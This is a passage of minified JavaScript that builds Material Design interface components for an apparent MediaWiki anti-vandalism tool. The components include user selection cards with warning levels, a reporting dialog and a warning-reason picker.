this.elements.input=(0,o.MaterialTextInputUpgrade)((0,a.h)(o.default,{label:s.default.t("ui:reporting.target.label",{context:l.ReportVenueMode[this.venue.mode].toLowerCase}),helperText:s.default.t("ui:reporting.target.helperText",{context:l.ReportVenueMode[this.venue.mode].toLowerCase}),leadingIcon:{icon:"description"}})),this.elements.input.textField.useNativeValidation=!1,this.elements.input.textField.listen("input",(=>{if(this.elements.input.textField.value.length>0)try{const e=r.Page.fromTitle(this.elements.input.textField.value);this.props.reportingDialog.target=e,this.props.reportingDialog.uiValidate,(0,l.isPageReportVenue)(this.props.reportingDialog.venue)&&this.props.reportingDialog.venue.page.getLatestRevision,e.exists.then((t=>{new mw.Title(this.elements.input.textField.value).toString===e.title.toString&&(this.elements.input.textField.valid=t,this.elements.input.helperText.root.innerText=s.default.t(t?"ui:reporting.target.helperText":"ui:reporting.target.nonexistent_page"))}))}catch(e){this.elements.input.textField.valid=!1}else this.elements.input.helperText.root.innerText=s.default.t("ui:reporting.target.helperText"),this.elements.input.textField.valid=!1})),this.elements.root=(0,a.h)("div",null,this.elements.input.element),this.elements.root}}t.MaterialReportingDialogPageController=c,t.default=function(e){const t=new c(e);return Object.assign(t.render,{MRDTarget:t,valid:=>t.elements.input.textField.valid})}},8819:(e,t,n)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.MaterialReportingDialogUserController=void 0;const i=n(655),r=n(4802),o=n(2775),a=n(830),s=(0,i.__importDefault)(n(9549)),l=(0,i.__importDefault)(n(1261)),c=n(8686);class d extends o.MaterialUserSelect{constructor(e){if(super(e),this.props=e,this.props.originalUser=this.props.originalTarget,null==this.props.originalUser){const e=mw.config.get("wgRelevantUserName");null!=e&&e!==r.UserAccount.current.username&&(this.props.originalUser=r.User.fromUsername(e))}}onPreUserChange(e){this.props.reportingDialog.target=e,this.props.reportingDialog.uiValidate,(0,c.isPageReportVenue)(this.props.reportingDialog.venue)&&this.props.reportingDialog.venue.page.getLatestRevision}onUserChange(e){return(0,i.__awaiter)(this,void 0,void 0,(function*{let t;e instanceof r.UserAccount&&(0,c.isUserModeReportVenue)(this.props.reportingDialog.venue)&&Array.isArray(this.props.reportingDialog.venue.restrictedGroups)&&(t=e.groups.groupMatch(this.props.reportingDialog.venue.restrictedGroups))&&"proceed"!==(yield new s.default({title:l.default.t("ui:reporting.restricted.title"),content:(0,a.h)("div",{class:"uv-mdc-riskyWarning"},(0,a.h)("b",null,l.default.t("ui:reporting.restricted.text",{group:t.displayName}))),actions:[{data:"cancel"},{data:"proceed"}]}).show)&&(yield this.clearUser(this.lastUser))}))}onPostUserChange{}}t.MaterialReportingDialogUserController=d,t.default=function(e){const t=new d(e);return Object.assign(t.render,{MRDTarget:t,valid:=>null!=t.user})}},4140:(e,t,n)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0});const i=n(655),r=n(830),o=n(8859),a=n(8910),s=n(6968),l=(0,i.__importDefault)(n(5337));t.default=function(e){var t,i;const c={},d=(0,r.h)("i",{class:"mdc-select__dropdown-icon"});d.innerHTML=n(5799);const u=`uvMdcSelect__${(0,a.generateId)}`,p=(0,r.h)("div",{class:(0,l.default)("mdc-select","mdc-select--outlined",!!e.required&&"mdc-select--required",e.class)},(0,r.h)("div",{class:"mdc-select__anchor",role:"button","aria-haspopup":"listbox","aria-expanded":"false","aria-labelledby":`${u}label ${u}text`,"aria-required":null!==(t=e.required)&&void 0!==t?t:"false"},(0,r.h)("div",{class:"mdc-notched-outline"},(0,r.h)("div",{class:"mdc-notched-outline__leading"}),(0,r.h)("div",{class:"mdc-notched-outline__notch"},(0,r.h)("label",{id:`${u}label`,class:"mdc-floating-label mdc-floating-label--float-above"},e.label)),(0,r.h)("div",{class:"mdc-notched-outline__trailing"})),(0,r.h)("span",{class:"mdc-select__selected-text-container"},(0,r.h)("div",{id:`${u}text`,class:"mdc-select__selected-text",contentEditable:null!==(i=e.editable)&&void 0!==i&&i})),d),(0,r.h)("div",{class:"mdc-select__menu mdc-menu mdc-menu-surface mdc-menu-surface--fullwidth"},(0,r.h)(s.MaterialList,{initialized:!1,role:"listbox","aria-hidden":"true","aria-orientation":"vertical","aria-label":e.label,tabIndex:-1},e.items.map((e=>{var t;switch(e.type){case"divider":return(0,r.h)(s.MaterialListDivider,null);case"header":return(0,r.h)(s.MaterialListSubheader,null,e.label);case"action":const n=(0,a.generateId);return c[n]=e.value,(0,r.h)(s.MaterialListItem,{class:e.selected?" mdc-list-item--selected":"","aria-selected":null!==(t=e.selected)&&void 0!==t?t:"false",role:"option","data-value":n},e.label)}}))))),h=new o.MDCSelect(p);return e.onChange&&h.listen("MDCSelect:change",(=>{e.onChange(h.selectedIndex,c[h.value])})),e.onKeyDown&&h.listen("keydown",(t=>{e.onKeyDown(t)})),Object.assign(p,{MDCSelect:h,valueSet:c,setItem:e=>{const t=Object.entries(c).find((([,t])=>t===e));t&&p.querySelector(`li[data-value="${t[0]}"]`).click}})}},5193:(e,t,n)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.MaterialSwitchUpgrade=t.MaterialSwitchTrack=void 0;const i=n(655),r=n(830),o=n(8910),a=n(2480),s=(0,i.__importDefault)(n(1261)),l=(0,i.__importDefault)(n(5337)),c=(0,i.__importDefault)(n(5504));function d(e){const t=e.querySelector("button.mdc-switch");return t.classList.add("uv-mdc--upgraded"),new a.MDCSwitch(t)}t.MaterialSwitchTrack=new Map,t.default=function(e){var n;const i=null!==(n=e.id)&&void 0!==n?n:(0,o.generateId)(8),a=(0,r.h)("span",null,(0,r.h)("button",{id:i,class:(0,l.default)("mdc-switch",`mdc-switch--${e.default?"":"un"}selected`,e.class),type:"button",role:"switch","aria-checked":e.default?"true":"false"},(0,r.h)("div",{class:"mdc-switch__track"}),(0,r.h)("div",{class:"mdc-switch__handle-track"},(0,r.h)("div",{class:"mdc-switch__handle"},(0,r.h)("div",{class:"mdc-switch__shadow"},(0,r.h)("div",{class:"mdc-elevation-overlay"})),(0,r.h)("div",{class:"mdc-switch__ripple"}),(0,r.h)("div",{class:"mdc-switch__icons"},(0,r.h)("svg",{class:"mdc-switch__icon mdc-switch__icon--on",viewBox:"0 0 24 24"},(0,r.h)("path",{d:"M19.69,5.23L8.96,15.96l-4.23-4.23L2.96,13.5l6,6L21.46,7L19.69,5.23z"})),(0,r.h)("svg",{class:"mdc-switch__icon mdc-switch__icon--off",viewBox:"0 0 24 24"},(0,r.h)("path",{d:"M20 13H4v-2h16v2z"})))))),(0,r.h)("label",{for:i},s.default.t("ui:toggleSwitch"))),u=d(a);return u.initialize,u.initialSyncWithDOM,c.default.info("MaterialSwitch",{props:e,element:a,component:u}),e.disabled&&(u.disabled=!0),e.default&&(u.selected=!0),u.listen("click",(t=>{c.default.info("MaterialSwitch change",{event:t}),e.onChange&&e.onChange(u.selected,t)})),t.MaterialSwitchTrack.set(i,{element:a,props:e,component:u}),a},t.MaterialSwitchUpgrade=d},2526:(e,t,n)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.MaterialTabBarController=void 0;const i=n(655),r=n(830),o=n(8910),a=n(1e3),s=(0,i.__importDefault)(n(5504)),l=(0,i.__importDefault)(n(4873));class c extends l.default{constructor(e){super,this.props=e,this.id=this.props.id?this.props.id:`uvTabBar__${(0,o.generateId)(8)}`}render{const e=(0,r.h)("div",{class:"mdc-tab-bar",role:"tablist",id:this.id},(0,r.h)("div",{class:"mdc-tab-scroller"},(0,r.h)("div",{class:"mdc-tab-scroller__scroll-area"},(0,r.h)("div",{class:"mdc-tab-scroller__scroll-content"},this.props.children)))),t=new a.MDCTabBar(e);return t.focusOnActivate=this.props.focusOnActivate,t.useAutomaticActivation=this.props.useAutomaticActivation,t.activateTab(this.props.activeTabIndex),t.listen("MDCTabBar:activated",(e=>{s.default.debug("tab bar activate",{index:e.detail.index}),e.detail.index!==this.props.activeTabIndex&&"function"==typeof this.props.onActivate&&(s.default.trace("tab bar running onActivate",{onActivate:this.props.onActivate}),this.props.onActivate(e),this.props.activeTabIndex=e.detail.index)})),e}}t.MaterialTabBarController=c,t.default=function(e){const t=new c(e);return Object.assign(t.render,{TabBar:t})}},6101:(e,t,n)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.getMaterialTabBarItemComponent=void 0;const i=n(655),r=n(830),o=n(8910),a=(0,i.__importDefault)(n(5337)),s=n(9),l=new Map;t.default=function({id:e,icon:t,title:n,active:i=!1,focusOnActivate:c=!0}){const d=e||`uvTabBarItem__${(0,o.generateId)(8)}`,u=(0,r.h)("button",{class:"mdc-tab mdc-tab--active",role:"tab","aria-selected":i?"true":"false",id:d},(0,r.h)("span",{class:"mdc-tab__content"},t?(0,r.h)("span",{class:"mdc-tab__icon material-icons","aria-hidden":"true"},t):null,(0,r.h)("span",{class:"mdc-tab__text-label"},n)),(0,r.h)("span",{class:(0,a.default)("mdc-tab-indicator",i?"mdc-tab-indicator--active":"")},(0,r.h)("span",{class:"mdc-tab-indicator__content mdc-tab-indicator__content--underline"})),(0,r.h)("span",{class:"mdc-tab__ripple"}),(0,r.h)("div",{class:"mdc-tab__focus-ring"})),p=new s.MDCTab(u);return p.focusOnActivate=c,i?p.activate:p.deactivate,l.set(d,{element:u,props:{title:n,icon:t,id:d,active:i,focusOnActivate:c},component:p}),u},t.getMaterialTabBarItemComponent=function(e){const t=e.id;if(!t)throw new Error("MaterialTabBarItem has no id");return l.get(t).component||new s.MDCTab(e)}},8963:(e,t,n)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.MaterialTextInputUpgrade=void 0;const i=n(655),r=n(830),o=n(8910),a=n(4534),s=n(4228),l=n(9308),c=n(9928),d=(0,i.__importDefault)(n(4236)),u=(0,i.__importDefault)(n(5337)),p=new Map;t.default=function(e){var t,n,i,a;const s=null!==(t=e.id)&&void 0!==t?t:(0,o.generateId)(8),l=(0,r.h)("span",{"data-mdc-textinput":s,class:e.class},(0,r.h)("label",{style:(0,d.default)({width:null!==(n=e.width)&&void 0!==n?n:"100%"}),class:(0,u.default)("100%"===e.width?"uv-mdc-full-width":null,"mdc-text-field",e.outlined?"mdc-text-field--outlined":"mdc-text-field--filled",e.leadingIcon&&"mdc-text-field--with-leading-icon",e.trailingIcon&&"mdc-text-field--with-trailing-icon",e.area&&"mdc-text-field--textarea")},e.outlined?(0,r.h)("span",{class:"mdc-notched-outline"},(0,r.h)("span",{class:"mdc-notched-outline__leading"}),(0,r.h)("span",{class:"mdc-notched-outline__notch"},(0,r.h)("span",{class:"mdc-floating-label",htmlFor:`${s}_input`},e.label)),(0,r.h)("span",{class:"mdc-notched-outline__trailing"})):(0,r.h)("span",{class:"mdc-floating-label"},e.label),!e.outlined&&(0,r.h)("span",{class:"mdc-text-field__ripple"}),e.prefix&&(0,r.h)("span",{class:"mdc-text-field__affix mdc-text-field__affix--prefix"},e.prefix),e.leadingIcon&&(0,r.h)("i",Object.assign({class:"material-icons mdc-text-field__icon mdc-text-field__icon--leading",id:`${s}_leadIcon`},e.leadingIcon.action&&{tabIndex:0,role:"button",onClick:e.leadingIcon.action}),e.leadingIcon.icon),e.area?(0,r.h)("textarea",Object.assign({class:"mdc-text-field__input",id:`${s}_input`},e.helperText&&{"aria-controls":`${s}_helper`,"aria-describedby":`${s}_helper`},e.maxCharacterCount&&{maxLength:e.maxCharacterCount},e.autofocus&&{autofocus:!0},e.required&&{required:!0},e.disabled&&{disabled:!0},{style:(0,d.default)(Object.assign(null!==(i=e.style)&&void 0!==i?i:{},{height:e.height}))}),e.defaultText||""):(0,r.h)("input",Object.assign({type:null!==(a=e.type)&&void 0!==a?a:"text",class:"mdc-text-field__input",id:`${s}_input`},e.helperText&&{"aria-controls":`${s}_helper`,"aria-describedby":`${s}_helper`},e.defaultText&&{value:e.defaultText},e.maxCharacterCount&&{maxLength:e.maxCharacterCount},e.autofocus&&{autofocus:!0},e.required&&{required:!0},e.disabled&&{disabled:!0})),e.trailingIcon&&(0,r.h)("i",Object.assign({class:"material-icons mdc-text-field__icon mdc-text-field__icon--trailing",id:`${s}_trailIcon`},e.trailingIcon.action&&{tabIndex:0,role:"button",onClick:e.trailingIcon.action}),e.trailingIcon.icon),e.suffix&&(0,r.h)("span",{class:"mdc-text-field__affix mdc-text-field__affix--suffix"},e.suffix),!e.outlined&&(0,r.h)("span",{class:"mdc-line-ripple"})),(0,r.h)("div",{class:"mdc-text-field-helper-line"},e.helperText?(0,r.h)("div",{id:`${s}_helper`,class:"mdc-text-field-helper-text","aria-hidden":"true"},e.helperText):null,e.maxCharacterCount?(0,r.h)("div",{id:`${s}_char`,class:"mdc-text-field-character-counter"},"0 / ",e.maxCharacterCount):null));return p.set(s,{element:l,props:e,components:null}),l},t.MaterialTextInputUpgrade=function(e){var t,n,i,r;if(!e.hasAttribute("data-mdc-textinput"))throw new Error("Not a valid MaterialTextInput");const o=p.get(e.getAttribute("data-mdc-textinput")),{props:d}=o,u={element:e,textField:new a.MDCTextField(e.querySelector(".mdc-text-field"))};u.textField.initialize;const h=e.getAttribute("data-mdc-textinput");return u.characterCounter=d.maxCharacterCount&&new s.MDCTextFieldCharacterCounter(e.querySelector(".mdc-text-field-character-counter")),null===(t=u.characterCounter)||void 0===t||t.initialize,u.leadingIcon=d.leadingIcon&&new l.MDCTextFieldIcon(e.querySelector(`#${h}_leadIcon`)),null===(n=u.leadingIcon)||void 0===n||n.initialize,u.trailingIcon=d.trailingIcon&&new l.MDCTextFieldIcon(e.querySelector(`#${h}_trailIcon`)),null===(i=u.trailingIcon)||void 0===i||i.initialize,u.helperText=d.helperText&&new c.MDCTextFieldHelperText(e.querySelector(".mdc-text-field-helper-text")),null===(r=u.helperText)||void 0===r||r.initialize,d.onInput&&u.textField.listen("input",(e=>{d.onInput(u.textField.value,e)})),o.components=u,e.classList.add("uv-mdc--upgraded"),u}},3568:(e,t,n)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0});const i=n(830),r=n(8910),o=n(6720);t.default=function({id:e,target:t,children:n}){t&&"string"==typeof t&&(t=document.querySelector(t));const a=e||`uvtooltip__${(0,r.generateId)(8)}`,s=(0,i.h)("div",{id:a,class:"mdc-tooltip",role:"tooltip","aria-hidden":"true"},(0,i.h)("div",{class:"mdc-tooltip__surface mdc-tooltip__surface-animation"},n));t&&("string"==typeof t&&(t=document.querySelector(t)),t instanceof HTMLElement&&(t.setAttribute("data-tooltip-id",a),t.setAttribute("aria-describedby",a)));const l=new o.MDCTooltip(s);return l.setShowDelay(0),l.setHideDelay(0),s}},2775:(e,t,n)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.MaterialUserSelect=void 0;const i=n(655),r=n(830),o=n(4802),a=(0,i.__importStar)(n(8963)),s=(0,i.__importDefault)(n(323)),l=(0,i.__importDefault)(n(9158)),c=(0,i.__importDefault)(n(1261)),d=(0,i.__importDefault)(n(3854)),u=n(8910),p=(0,i.__importStar)(n(9821)),h=(0,i.__importDefault)(n(3408)),f=n(4012),g=n(9381),m=(0,i.__importDefault)(n(5504));n(6802);const v=n(2303),A=(0,i.__importDefault)(n(8939)),y=n(3309);function _({parent:e}){if(!(e.user instanceof o.UserAccount))return;const t=e.user;return(0,r.h)("div",{class:"uv-mdc-userSelect--groups"},(0,r.h)("b",null,"Groups:")," ",t.groups.map((e=>(0,r.h)("a",{target:e.page&&"_blank",href:e.page.url},(0,u.capitalize)(e.displayName)))).reduce(((e,t,n,i)=>n===i.length-1?e.concat(t):e.concat(t,", ")),[]))}function b({parent:e}){if(!(e.user instanceof o.UserAccount))return(0,r.h)("div",{class:"uv-mdc-userSelect--overview"},(0,r.h)("a",{href:"/wiki/w:en:IP_address",target:"_blank"},c.default.t("mediawiki:ip")));const t=e.user;return(0,r.h)("div",{class:"uv-mdc-userSelect--overview"},(0,r.h)("a",{onClick:=>{(0,h.default)(o.Page.fromTitle(`Special:Contributions/${t.username}`),{disableUltraviolet:!0,safeMode:!0})},"data-uv-mdc-tooltip":c.default.t("ui:userSelect.show.contributions")},c.default.t("ui:userSelect.edits",{edits:t.editCount.toLocaleString})),(0,r.h)(d.default,null),(0,r.h)("a",{onClick:=>{(0,h.default)(t.userPage,{disableUltraviolet:!0,safeMode:!0})},"data-uv-mdc-tooltip":c.default.t("ui:userSelect.show.userpage")},c.default.t("ui:userSelect.age",{localeAge:(0,u.formatAge)(t.registered)})))}function I({parent:e}){const t=e.user;if(!t.isPopulated||!t.warningAnalysis)throw new Error("MaterialUserSelectCard called without the User being fully-populated.");const n=(0,u.generateId)(8),a=g.WarningIcons[t.warningAnalysis.level];return(0,r.h)("table",null,(0,r.h)("tr",null,(0,r.h)("td",{rowSpan:2},(0,r.h)("div",{class:"uv-mdc-userSelect--main"},(0,r.h)("div",{class:"uv-mdc-userSelect--username"},(0,r.h)("a",{onClick:=>{e.clearUser},"data-uv-mdc-tooltip":c.default.t("ui:userSelect.change")},t.username)),(0,r.h)(b,{parent:e})),(0,r.h)(_,{parent:e})),(0,r.h)("td",null,(0,r.h)(s.default,Object.assign({},a,{label:c.default.t("ui:userSelect.highestLevel"),tooltip:c.default.t("ui:userSelect.levelInfo",{context:`${o.WarningLevel[t.warningAnalysis.level].toLowerCase}`})},t.warningAnalysis.level>2?{onClick:=>(0,i.__awaiter)(this,void 0,void 0,(function*{(0,y.submitReport)(yield new l.default.ReportingDialog({venue:A.default.c.reporting.find((e=>e.shortName.toLowerCase===A.default.c.warnings.reportVenue.toLowerCase)),target:t}).show)}))}:{ripple:!1})))),(0,r.h)("tr",null,(0,r.h)("td",null,(0,r.h)(s.default,{icon:"assignment_ind",tooltip:c.default.t("ui:userSelect.talk.main").toString,onClick:=>{(0,p.openMenu)(`menu__${n}`)},"data-menu-id":`menu__${n}`}),(0,r.h)(p.default,{id:`menu__${n}`,items:[{label:c.default.t("ui:userSelect.talk.month").toString,action{(0,h.default)(t.talkPage,{disableUltraviolet:!0,redirect:!1,fragment:mw.util.wikiUrlencode((0,u.getMonthHeader)),customStyle:`#${mw.util.wikiUrlencode((0,u.getMonthHeader))}{background-color:#fd0;}`})}},{label:c.default.t("ui:userSelect.talk.whole").toString,action{(0,h.default)(t.talkPage,{disableUltraviolet:!0,redirect:!1})}}]}))))}class C extends f.MaterialWarnDialogChild{constructor(e){super,this.props=e,this.elementSet={},null==this.props.id&&(this.props.id=(0,u.generateId)),this.user=e.originalUser}get active{return this.elementSet.root&&this.elementSet.root.classList.toggle("uv-mdc-userSelect--active",this._active),this._active}set active(e){this.elementSet.root&&this.elementSet.root.classList.toggle("uv-mdc-userSelect--active",e),this._active=e}get user{return this._user}set user(e){this._user=e,this.onPreUserChange(e)}renderOverlayContent(e){var t,n;switch(e||(e=this.user?{type:"loading",user:this.user}:{type:"input",onFinish:e=>{this.updateUser(o.User.fromUsername(e))}}),this.elementSet.targetUserInput=void 0,e.type){case"loading":return(0,r.h)("div",{class:"uv-mdc-userSelect--loading"},(0,r.h)("div",{class:"uv-mdc-userSelect--username",onClick:=>{this.updating?l.default.Toast.quickShow({content:c.default.t("ui:userSelect.load_wait")}):this.updateUser(this.user)}},this.user.username),(0,r.h)("div",null,c.default.t("ui:userSelect.loading")));case"input":const i=(0,r.h)(a.default,{width:"100%",label:c.default.t("ui:userSelect.input"),defaultText:null!==(n=null===(t=this.lastUser)||void 0===t?void 0:t.username)&&void 0!==n?n:"",autofocus:!0});this.elementSet.targetUserInput={element:i,components:(0,a.MaterialTextInputUpgrade)(i)};const o==>{const t=this.elementSet.targetUserInput.components.textField.value.trim;t.length>0&&e.onFinish(new mw.Title(t).getMainText)};return i.querySelector("input"),i.querySelector("input").addEventListener("keyup",(e=>{"Enter"===e.key?o:"Escape"===e.key&&(this.elementSet.targetUserInput.components.textField.value=this.lastUser.username,o)})),(0,r.h)("div",{class:"uv-mdc-userSelect--input"},i,(0,r.h)(s.default,{icon:"send",tooltip:c.default.t("ui:userSelect.confirm").toString,onClick:=>{o}}),this.lastUser&&(0,r.h)(s.default,{icon:"close",tooltip:c.default.t("ui:cancel").toString,onClick:=>{e.onFinish(this.lastUser.username)}}))}}renderOverlay{return this.elementSet.overlay=(0,r.h)("div",{class:"uv-mdc-userSelect--overlay"},this.renderOverlayContent),this.elementSet.overlay}renderMain{var e;return this.elementSet.main=(0,r.h)("div",{class:"uv-mdc-userSelect--main"},this.user&&this.user.isPopulated&&(null===(e=this.user)||void 0===e?void 0:e.warningAnalysis)?(0,r.h)(I,{parent:this}):""),this.elementSet.main}clearUser(e){return(0,i.__awaiter)(this,void 0,void 0,(function*{this.lastUser=null!=e?e:this.user,this.user=void 0,this.active=!1,this.refresh}))}updateUser(e){return(0,i.__awaiter)(this,void 0,void 0,(function*{if(null!=e){if(this.updating&&m.default.trace("Attempted to update user twice. Subsequent attempt blocked."),this.lastUser&&e.username===this.lastUser.username?this.user=this.lastUser:this.user=e,null!=this.user){if(!this.user.isPopulated){this.updating=!0,this.refresh;try{yield this.user.populate}catch(e){return e instanceof v.UserMissingError?l.default.Toast.quickShow({content:c.default.t("ui:userSelect.missing")}):e instanceof v.UserMissingError?l.default.Toast.quickShow({content:c.default.t("ui:userSelect.invalid")}):l.default.Toast.quickShow({content:c.default.t("ui:userSelect.fail")}),void this.clearUser}}yield this.onUserChange(this.user),this.user&&!this.user.warningAnalysis&&(this.updating=!0,this.refresh,yield this.user.getWarningAnalysis),yield this.onPostUserChange(this.user)}this.updating=!1,setTimeout((=>{this.refresh}),100)}}))}refresh{const e=`uvMdcUserSelect__${this.props.id}`,t=(0,r.h)("div",{id:e,class:"uv-mdc-userSelect mdc-card mdc-card--outlined"},this.renderMain,this.renderOverlay),n=document.getElementById(e);null!=n?n.parentElement.replaceChild(this.elementSet.root=t,n):this.elementSet.root=t,this.active=!this.updating&&!!this.user&&this.user.isPopulated&&!!this.user.warningAnalysis,this.elementSet.targetUserInput&&$(this.elementSet.targetUserInput.element).is(":visible")&&this.elementSet.targetUserInput.components.textField.focus}render{if(this.refresh,!this.elementSet.root)throw"Refresh did not build warn dialog!";this.user&&this.user.isPopulated&&this.user.warningAnalysis||this.updating||this.active||(=>{(0,i.__awaiter)(this,void 0,void 0,(function*{this.updateUser(this.props.originalUser)}))});const e=setInterval((=>{null!=this.elementSet.root.parentElement?this.elementSet.root.classList.contains("uv-mdc-userSelect--active")&&0==this.elementSet.main.children.length&&(m.default.error("Invalid MaterialUserSelect state detected! Please investigate in the future.",{elementSet:this.elementSet,state:this._active,statePostUpdate:this._active,updating:this.updating,user:this.user,lastUser:this.lastUser}),this.refresh):clearInterval(e)}),1e3);return this.elementSet.root}}t.MaterialUserSelect=C},4012:(e,t,n)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.MaterialWarnDialogChild=void 0;const i=(0,n(655).__importDefault)(n(4873));class r extends i.default{}t.MaterialWarnDialogChild=r},6821:(e,t,n)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.MaterialWarnDialogReasonController=void 0;const i=n(655),r=n(4802),o=n(830),a=(0,i.__importDefault)(n(4140)),s=n(4012),l=(0,i.__importDefault)(n(323)),c=(0,i.__importDefault)(n(4549)),d=(0,i.__importDefault)(n(3284)),u=n(9381),p=(0,i.__importStar)(n(8963)),h=(0,i.__importDefault)(n(1261)),f=(0,i.__importDefault)(n(7242)),g=(0,i.__importDefault)(n(4406)),m=(0,i.__importDefault)(n(5337));function v({parent:e}){const t=[];for(const[n,i]of Object.entries(r.WarningManager.warningArrayByCategories)){0!==t.length&&t.push({type:"divider"}),t.push({type:"header",label:r.WarningManager.warningCategoriesMap[n].label});for(const n of i)t.push({type:"action",label:n.name,value:n,selected:e.props.defaultReason===n})}let n=!1;const s=(0,o.h)("span",{class:"uv-mdc-warnDialog-reason--dropdown"},(0,o.h)(a.default,{label:h.default.t("ui:warn.reason.warningSelectionDropdownTitle").toString,items:t,required:!0,onChange:(t,n)=>{e.warning=n},onKeyDown:e=>(0,i.__awaiter)(this,void 0,void 0,(function*{if(!/^.$/g.test(e.key))return;const t=e.target.getAttribute("data-last-keydown");if(!(t&&Date.now<+t+500||(e.target.setAttribute("data-last-keydown",`${Date.now}`),n))){n=!0;const t=yield new f.default({startingText:e.key}).show;s.querySelector(".mdc-select").setItem(t),n=!1}}))}),(0,o.h)(l.default,{class:"uv-mdc-warnDialog-reason--search",icon:"search",label:h.default.t("ui:warn:reason:searchDialogOpenerTooltip").toString,onClick:=>(0,i.__awaiter)(this,void 0,void 0,(function*{const t=yield new f.default({selectedWarning:e.warning}).show;s.querySelector(".mdc-select").setItem(t)}))}));return s}function A({parent:e}){var t,n,i,a;let s,l;if(null!=e.warning)switch(e.warning.type){case r.WarningType.Tiered:{const p=[];for(let s=r.WarningLevel.Notice;s<=r.WarningLevel.Immediate;s++){const l=r.WarningLevelComments[s];e.warning.levels.includes(s)?p.push({value:s,checked:e.warningLevel==s,tooltip:h.default.t("ui:warn.reason.levelSelectionLevel",{level:null!==(t=l.alternative)&&void 0!==t?t:s,levelReadable:(null!==(n=l.summary)&&void 0!==n?n:r.WarningLevel[s]).toLocaleLowerCase,levelDescription:l.description}),children:(0,o.h)(d.default,{icon:u.WarningIcons[s].icon})}):p.push({value:s,tooltip:h.default.t("ui:warn.reason.levelSelectionLevelNotPresent",{level:null!==(i=l.alternative)&&void 0!==i?i:s,levelReadable:(null!==(a=l.summary)&&void 0!==a?a:r.WarningLevel[s]).toLocaleLowerCase}),disabled:!0,children:(0,o.h)(d.default,{icon:u.WarningIcons[s].icon,iconColor:"gray"})})}const f=(0,o.h)(c.default,{radios:p,onChange:t=>{e.warningLevel=t}});l=e=>{for(const t of f.MDCRadios)t.radioValue===e&&(t.MDCRadio.checked=!0)},s=f;break}case r.WarningType.SingleIssue:s=(0,o.h)("b",null,h.default.t("ui:warn.reason.singleIssueTemplate").toString);break;case r.WarningType.PolicyViolation:s=(0,o.h)("b",null,h.default.t("ui:warn.reason.policyViolationTemplate").toString)}else s=(0,o.h)("span",null,h.default.t("ui:warn.reason.noWarningSelected"));return Object.assign((0,o.h)("div",{class:"uv-mdc-warnDialog-reason--levels"},(0,o.h)("table",null,(0,o.h)("tr",null,(0,o.h)("td",null,h.default.t("ui:warn.reason.warningLevel")),(0,o.h)("td",null,s)))),{update:l})}class y extends s.MaterialWarnDialogChild{constructor(e){super,this.props=e,this.elementSet={},this.warningLevel=this.defaultLevel=e.defaultLevel,this.warning=e.defaultReason}get user{return this.props.warnDialog.user}get warning{return this._warning}set warning(e){if(this._warning=e,null!=e&&e.type===r.WarningType.Tiered){for(let t=this.defaultLevel;t>=0;t--)if(e.levels.includes(t))return this.warningLevel=t,void this.refresh;this.warningLevel=e.levels[0]}else this.warningLevel=null;this.props.warnDialog.updatePreview(!0),this.refresh}get warningLevel{return this._warningLevel}set warningLevel(e){var t;this._warningLevel=e,(null===(t=this.elementSet.levels)||void 0===t?void 0:t.update)&&this.elementSet.levels.update(e),this.props.warnDialog.updatePreview(!0)}get relatedPage{var e,t,n,i;return null!==(i=null===(n=null===(t=null===(e=this.elementSet.page)||void 0===e?void 0:e.components)||void 0===t?void 0:t.textField)||void 0===n?void 0:n.value)&&void 0!==i?i:null}set relatedPage(e){this.elementSet.page&&(this.elementSet.page.components.textField.value=e),this.props.warnDialog.updatePreview(!0)}get additionalText{var e,t,n,i;return null!==(i=null===(n=null===(t=null===(e=this.elementSet.additionalText)||void 0===e?void 0:e.components)||void 0===t?void 0:t.textField)||void 0===n?void 0:n.value)&&void 0!==i?i:null}set additionalText(e){this.elementSet.additionalText&&(this.elementSet.additionalText.components.textField.value=e),this.props.warnDialog.updatePreview(!0)}refresh{var e,t,n,a,s,c;const d=(e,t=!1)=>=>{if(t)return this.props.warnDialog.updatePreview;e.setAttribute("data-last-keydown",`${Date.now}`),setTimeout((=>{Date.now-+e.getAttribute("data-last-keydown")>=500&&this.props.warnDialog.updatePreview}),550)},u=`uvMdcWarnDialogReason__${this.props.warnDialog.id}`,f=(0,o.h)("div",{id:u,class:"uv-mdc-warnDialog-reason"},null!==(e=this.elementSet.dropdown)&&void 0!==e?e:this.elementSet.dropdown=(0,o.h)(v,{parent:this}),this.elementSet.levels=(0,o.h)(A,{parent:this}),(null===(t=this.warning)||void 0===t?void 0:t.note)&&(0,o.h)("div",{class:"uv-mdc-warnDialog-reason-note"},this.warning.note),(0,o.h)("div",{class:(0,m.default)("uv-mdc-warnDialog-page","object"==typeof(null===(n=this.warning)||void 0===n?void 0:n.relatedPage)&&!1===(null===(a=this.warning.relatedPage)||void 0===a?void 0:a.recentPages)&&"uv-warnDialog-hideRecentPages")},(=>{var e,t,n,i,a,s,l,c,u,f;let g="object"==typeof(null===(e=this.warning)||void 0===e?void 0:e.relatedPage)?null===(t=this.warning.relatedPage)||void 0===t?void 0:t.label:null;null==g&&(g=h.default.t("ui:warn.reason.page"));const m=(0,o.h)(p.default,Object.assign({class:"uv-mdc-warnDialog-page--textField",label:g,defaultText:null!==(f=null!==(l=null===(s=null===(a=null===(i=null===(n=this.elementSet)||void 0===n?void 0:n.page)||void 0===i?void 0:i.components)||void 0===a?void 0:a.textField)||void 0===s?void 0:s.value)&&void 0!==l?l:null===(u=null===(c=this.props.relatedPage)||void 0===c?void 0:c.title)||void 0===u?void 0:u.getPrefixedText)&&void 0!==f?f:"",autofocus:!0},null!=this.warning?{[(0,r.getWarningFieldVisibility)(this.warning.relatedPage)]:!0}:{})),v=(0,p.MaterialTextInputUpgrade)(m);return this.elementSet.page={element:m,components:v},v.textField.listen("focusout",d(m),!0),v.textField.listen("keydown",d(m)),m}),null!==(c=null===(s=this.elementSet.recentPagesButton)||void 0===s?void 0:s.element)&&void 